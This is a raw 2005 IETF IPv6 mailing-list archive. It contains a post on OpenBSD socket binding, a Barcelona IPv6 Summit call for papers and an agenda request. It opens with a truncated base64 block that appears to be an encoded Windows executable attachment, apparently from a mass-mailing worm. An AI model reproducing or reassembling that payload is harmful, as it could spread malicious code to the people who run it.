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 AAAAAAAAAAAAAAAAAAABAAEAAACoAACAAAAAAAAAAAAAAAAAAAABAAAAAADAAAAA4PQAACIA AAAAAAAAAAAAACgAAAAgAAAAQAAAAAEABAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP// AAD///8AAACIiIiIiIiIiIiIiIAAAAAAh3d3d3d3d3d3d3dwAAAAiIiIiIiIiIiIiIiIeAAA AId3d3d3d3d3d3d3d4gAAAiIiIiIiIiIiIiIiIeIAAAI//////////////+HeAAAAI////// ////////+HgAAACP//////AAAAAAB/h4AAAAj/////+IiIiIiID4eAAAAAj/////j6p3d3eA /4gAAAAI/////4//////gP+IAAAACP///wAIiIiIgIj/iAAAAAj//wDMKHd3d3gP/4gAAAAI //DMzCj0RER4D/+IAAAACP+MzMIo8MzEeA//iAAAAAj/jMzCKPDsxHgP/4gAAAAI+MzMwijw AAB4D/+IAAAACPjMwiIo////eA//iAAAAAj4zCIiIoiIiIj//4gAAAAI+MwiIiLCLCD///+I AAAACPjMoiLCLCIg////iAAAAAj/jM+szMwiD////4gAAAAI/4z6+iIiIg////+IAAAACP/4 zK+iIiD/////iAAAAAj//4jM+iAP/////4gAAAAI////iIiP//////+IAAAACP////////// ////iAAAAAN7e3t7e3t7e3t7ezgAAAADt7e3t7e3t7e3t7czAAAAA///////////////MwAA AAO3t7e3t7e3t7e3t7MAAAAAMzMzMzMzMzMzMzMzAADwAAAf8AAAD8AAAAfAAAAHgAAAB4AA AAfAAAAHwAAAB8AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH 4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH8AAABygA AAAQAAAAIAAAAAEABAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAA gAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAACIiIiI iAAACHh4eHh4gACHd3d3d3eAAI///////3AACPcAAAAHcAAI+IqIiIBwAAAI////gHAAzCSI iIgPcIzCLI93dw9wjCIij0RHD3CMIiyPzEcPcIz2wo//9w9wCM+ieIiIf3AAiIgzMzMzcAAD u7u7u7swAAAzMzMzMzDwAQAA4AAAAMAAAADAAAAA4AAAAOAAAADAAAAAgAAAAAAAAAAAAAAA AAAAAAAAAACAAAAAwAAAAOAAAADwAAAAAAABAAIAICAQAAEABADoAgAAAQAQEBAAAQAEACgB AAACAE9wLZoPKjJwCUy+J3DDY4PGqilkgxJ9iSBsmyV+vH65f1c1rpE6KTS0DbNIUXdGIoBl TgIkHQXAER+1UgQCrU68QwRGNpy9aq2Oox0nG4IAaGLEMwcxcF8jYwAkg71TZ6/FVZWVlSCT IUIcenODBS5RY5wjQqCHTXs7G48Asle4s2yGt6Zac0A= ----------txswpniktkfwyrgasjod Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- ----------txswpniktkfwyrgasjod-- From ipv6-bounces@ietf.org Mon Feb 7 11:12:09 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13032 for ; Mon, 7 Feb 2005 11:12:08 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyBo7-00040l-0j for ipv6-web-archive@ietf.org; Mon, 07 Feb 2005 11:32:16 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyBQd-0005Ud-S5; Mon, 07 Feb 2005 11:07:59 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyB0j-0000ZV-HY for ipv6@megatron.ietf.org; Mon, 07 Feb 2005 10:41:13 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA09963 for ; Mon, 7 Feb 2005 10:41:10 -0500 (EST) Received: from mail-in-01.arcor-online.net ([151.189.21.41]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyBK7-0003DG-Tx for ipv6@ietf.org; Mon, 07 Feb 2005 11:01:17 -0500 Received: from kemoauc.mips.inka.de (dsl-213-023-057-197.arcor-ip.net [213.23.57.197]) by mail-in-01.arcor-online.net (Postfix) with ESMTP id 10981136248 for ; Mon, 7 Feb 2005 16:40:26 +0100 (CET) Received: from kemoauc.mips.inka.de (localhost [127.0.0.1]) by kemoauc.mips.inka.de (8.13.1/8.12.10) with ESMTP id j17FeODN079015 for ; Mon, 7 Feb 2005 16:40:24 +0100 (CET) (envelope-from news@kemoauc.mips.inka.de) Received: (from news@localhost) by kemoauc.mips.inka.de (8.13.1/8.13.1/Submit) id j17FeOFX079014 for ipv6@ietf.org; Mon, 7 Feb 2005 16:40:24 +0100 (CET) (envelope-from news) To: ipv6@ietf.org Path: not-for-mail From: naddy@mips.inka.de (Christian Weisgerber) Newsgroups: list.ietf.ipv6 Date: Mon, 7 Feb 2005 15:40:24 +0000 (UTC) Lines: 19 Message-ID: References: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> <1107177886.27827.80.camel@firenze.zurich.ibm.com> <4202B332.3010307@internet2.edu> X-Trace: kemoauc.mips.inka.de 1107790824 78786 172.16.0.3 (7 Feb 2005 15:40:24 GMT) X-Complaints-To: usenet@mips.inka.de X-Newsreader: trn 4.0-test76 (Apr 2, 2001) Originator: naddy@mips.inka.de (Christian Weisgerber) X-Spam-Score: 0.1 (/) X-Scan-Signature: d6b246023072368de71562c0ab503126 X-Mailman-Approved-At: Mon, 07 Feb 2005 11:07:58 -0500 Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.1 (/) X-Scan-Signature: 9182cfff02fae4f1b6e9349e01d62f32 Jeff W. Boote wrote: > >>They allow binding on :: (IPv6 any) and also accept IPv4 connections on > >>the same socket, > > > > OpenBSD doesn't allow this. > > OpenBSD doesn't allow it? An application can't even explicitly set > IPV6_BINDV6ONLY to false? Correct, and the omission is intentional. > That is simply broken in my opinion. I understand that there are many people with sharply diverging strong opinions on this. I'm merely reporting a fact. -- Christian "naddy" Weisgerber naddy@mips.inka.de -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Mon Feb 7 14:06:36 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA00768 for ; Mon, 7 Feb 2005 14:06:36 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyEWx-0008MP-Vm for ipv6-web-archive@ietf.org; Mon, 07 Feb 2005 14:26:44 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyE97-00066t-Pk; Mon, 07 Feb 2005 14:02:05 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyE6R-0005fS-7V for ipv6@megatron.ietf.org; Mon, 07 Feb 2005 13:59:19 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA00295 for ; Mon, 7 Feb 2005 13:59:16 -0500 (EST) Received: from mail.consulintel.es ([213.172.48.142] helo=consulintel.es) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyEPq-0008E4-GA for ipv6@ietf.org; Mon, 07 Feb 2005 14:19:24 -0500 Received: from [10.10.10.100] ([217.126.187.160]) by consulintel.es (consulintel.es [127.0.0.1]) (MDaemon.PRO.v7.2.3.R) with ESMTP id md50000765434.msg for ; Mon, 07 Feb 2005 20:00:00 +0100 User-Agent: Microsoft-Entourage/11.1.0.040913 Date: Mon, 07 Feb 2005 19:58:04 +0100 From: JORDI PALET MARTINEZ To: "ipv6-bounces@ietf.org" Message-ID: Mime-version: 1.0 Content-type: text/plain; charset="ISO-8859-1" Content-transfer-encoding: quoted-printable X-MDRemoteIP: 217.126.187.160 X-Return-Path: jordi.palet@consulintel.es X-MDaemon-Deliver-To: ipv6@ietf.org X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on mail.consulintel.es X-Spam-Status: No, hits=-3.2 required=5.0 tests=BAYES_00, NO_COST autolearn=no version=2.64 X-Spam-Processed: consulintel.es, Mon, 07 Feb 2005 20:00:01 +0100 X-MDAV-Processed: consulintel.es, Mon, 07 Feb 2005 20:00:02 +0100 X-Spam-Score: 3.9 (+++) X-Scan-Signature: 093efd19b5f651b2707595638f6c4003 Content-Transfer-Encoding: quoted-printable Subject: Call for Papers - Next Global IPv6 Summit in Spain X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: jordi.palet@consulintel.es List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 3.9 (+++) X-Scan-Signature: 8fbbaa16f9fd29df280814cb95ae2290 Content-Transfer-Encoding: quoted-printable Hi all, As indicated in the email below, the next Global IPv6 Summit in Spain, the bigger IPv6 European event, in its 4th edition (after a very successful organization and broad international attendance in 2001, 2002 and 2003), will be organized this time in Barcelona, next June 2005, with a expected audience over 2.600 key decisions makers from ICT sectors. The main target of the event is business oriented talks, as well as talks oriented to policy makers, information/knowledge society, education and public sectors. This Call for Papers doesn't require that you submit a complete paper (which is welcome also), but instead, a short plain text abstract of your presentation topic, by email. Talks regarding deployment experiences, new services and applications will be of key interest for the expected attendance, and hence highly encouraged. We believe that key topics will be also those regarding: 1) IPv6 and business 2) IPv6 and Broadband 3) New IPv6-based services and applications 4) IPv6 and the Digital Home 5) IPv6 and Multimedia, Voice/Video applications 6) IPv6, Mobility, Wireless and 3G 7) IPv6 and Ambient Intelligence/Ubiquitous Computing/Distributed Systems 8) IPv6 and GRIDs 9) IPv6 and logistics, transport and eSafety 10) IPv6 for eHealth, eGoverment, eLearning and other "e-whatever" 11) IPv6 and gamming 12) IPv6 and peer-to-peer 13) IPv6 and security 14) IPv6 and Open Source 15) IPv6 and marketing/branding Also topics regarding Standards, Research, Development and Innovation experiences are welcome, including R&D projects results. The Agenda will be drafted early in March, so the dead-line for submitting your topic is only until 25th February, but as said only a short abstract is required. If you're interested in participating, or you have any special idea, even if your topic is not in the list above, please don't hesitate to contact me (jordi.palet@consulintel.es) ASAP, so we can work out any options. Regards, Jordi PS: Please, feel free to circulate this email among your contacts. ------ Mensaje reenviado De: JORDI PALET MARTINEZ Responder a: Fecha: Mon, 07 Feb 2005 18:25:42 +0100 Para: "members@ipv6forum.com" , Asunto: Next Global IPv6 Summit in Spain Hi all, As I already informed a few weeks ago, the next Global IPv6 Summit in Spain will be held this time in Barcelona next June (instead of Madrid in March as previously forecasted). This will happen starting on June 6th, with a tutorial in the morning, the opening ceremony in the afternoon, with some keynotes and then 2-3 days of IPv6 conference, depending on the success of the call for papers. If required we can extend our event up to Friday 10th (total 4 days, plus opening ceremony, plus half day tutorial). In this occasion, we will try a completely new model, integrating the IPv6 conference in a bigger event, more business oriented, even when technical sessions will be still present. The "umbrella" event is Internet Global Congress (IGC), with has been organized in Barcelona already during the 6 previous years. The Internet Global Congress, the leading Internet and New Technologies congress in Spain, is organized by the Fundaci=F3 Barcelona Digital, a non-profit organization, which also provides space for exhibition and delivers the IGC awards for Digital Innovation (aimed to students and professionals with embryonic Internet projects, aims to be a launch platform for all those people involved in research and innovation in the field of Internet and the New Technologies). IGC provides us all the infrastructure for organizing the Global IPv6 Summit track, and we only need to manage our own agenda, and consequently our own call for papers (see next email). They also they care about all the issues related to registration, proceedings and publicity, at no cost for us. We expect that this will be the bigger IPv6 event in Europe during 2005, with an expected attendance over 2.600 people, which of course, will be able to attend not just to the IPv6 track but also to other IT tracks (already depicted at http://www.igcweb.net, then click at Program). The attendance is mainly CTOs, CEOs and other key decision makers related to ICT, so its a very nice opportunity for IPv6 in Europe to meet a large audience which probably has not been in touch with IPv6 until now. I count with the support from all of you, and please do not hesitate to let me know any ideas that you may have to make an even more successful event that what for sure we will have in a so nice city as Barcelona. More information will be soon available at http://www.ipv6-es.com and http://www.igcweb.net. Regards, Jordi ********************************** Madrid 2003 Global IPv6 Summit Presentations and videos on line at: http://www.ipv6-es.com This electronic message contains information which may be privileged or confidential. The information is intended to be for the use of the individual(s) named above. If you are not the intended recipient be aware that any disclosure, copying, distribution or use of the contents of this information, including attached files, is prohibited. -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 8 10:28:55 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA17653 for ; Tue, 8 Feb 2005 10:28:55 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyXc0-00072H-Oz for ipv6-web-archive@ietf.org; Tue, 08 Feb 2005 10:49:13 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyXGI-00033B-Dt; Tue, 08 Feb 2005 10:26:46 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyX9p-0000ji-0P for ipv6@megatron.ietf.org; Tue, 08 Feb 2005 10:20:05 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA16855 for ; Tue, 8 Feb 2005 10:20:03 -0500 (EST) Received: from pilot.jhuapl.edu ([128.244.197.23] helo=jhuapl.edu) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyXTQ-0006qo-QF for ipv6@ietf.org; Tue, 08 Feb 2005 10:40:22 -0500 Received: from ([128.244.124.185]) by pilot.jhuapl.edu with ESMTP id KP-VXL34.12829712; Tue, 08 Feb 2005 10:18:01 -0500 Mime-Version: 1.0 (Apple Message framework v619.2) To: IPv6 WG Message-Id: <44fe6a66a3abaf05a4c1be2a9de06eb4@innovationslab.net> From: Brian Haberman Date: Tue, 8 Feb 2005 10:18:58 -0500 X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.0 (/) X-Scan-Signature: f60d0f7806b0c40781eee6b9cd0b2135 Cc: Bob Hinden Subject: Agenda items for Minneapolis X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============2061522221==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: f66b12316365a3fe519e75911daf28a8 --===============2061522221== Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-4-719719642; protocol="application/pkcs7-signature" --Apple-Mail-4-719719642 Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit All, The chairs are in the process of formulating the agenda for the IPv6 WG session in Minneapolis. Please let us know if there are topics you wish to present. Regards, Brian & Bob --Apple-Mail-4-719719642 Content-Type: application/pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGJDCCAt0w ggJGoAMCAQICAwz21DANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhh d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt YWlsIElzc3VpbmcgQ0EwHhcNMDQwOTAxMTcxOTM4WhcNMDUwOTAxMTcxOTM4WjBKMR8wHQYDVQQD ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMScwJQYJKoZIhvcNAQkBFhhicmlhbkBpbm5vdmF0aW9u c2xhYi5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDRogfqvQwSubSspmgfho1w Br2IRBf5DI+pvLyiFcMM7KTRomseAAznLq+OjixIzT08u0opCIB91C2fohXwqf05+NVmd3/IIrOh gQoQeFrwZdRwkmA1p6/+ivWwwyiIBBVjyIx5cdULoGi3Nl0hanW99zEHWMR7cr9YRfkhrYwyrLwF 2dUlanpDcoC+PJfimFv7Sp5Ymut3GMuvc4hrzmUBs3GhZVUbxrknxBb9C0ApLa++79wQtcrzK7Nr HkGl63vTkfCaR2HqPE53GT1NvPSQyRUMbVBmx5xzuHUlQAY/fMDOLv45qFa9Xb8XfP1Xb+chYzHX xPx4pqVTzZUnfi3RAgMBAAGjNTAzMCMGA1UdEQQcMBqBGGJyaWFuQGlubm92YXRpb25zbGFiLm5l 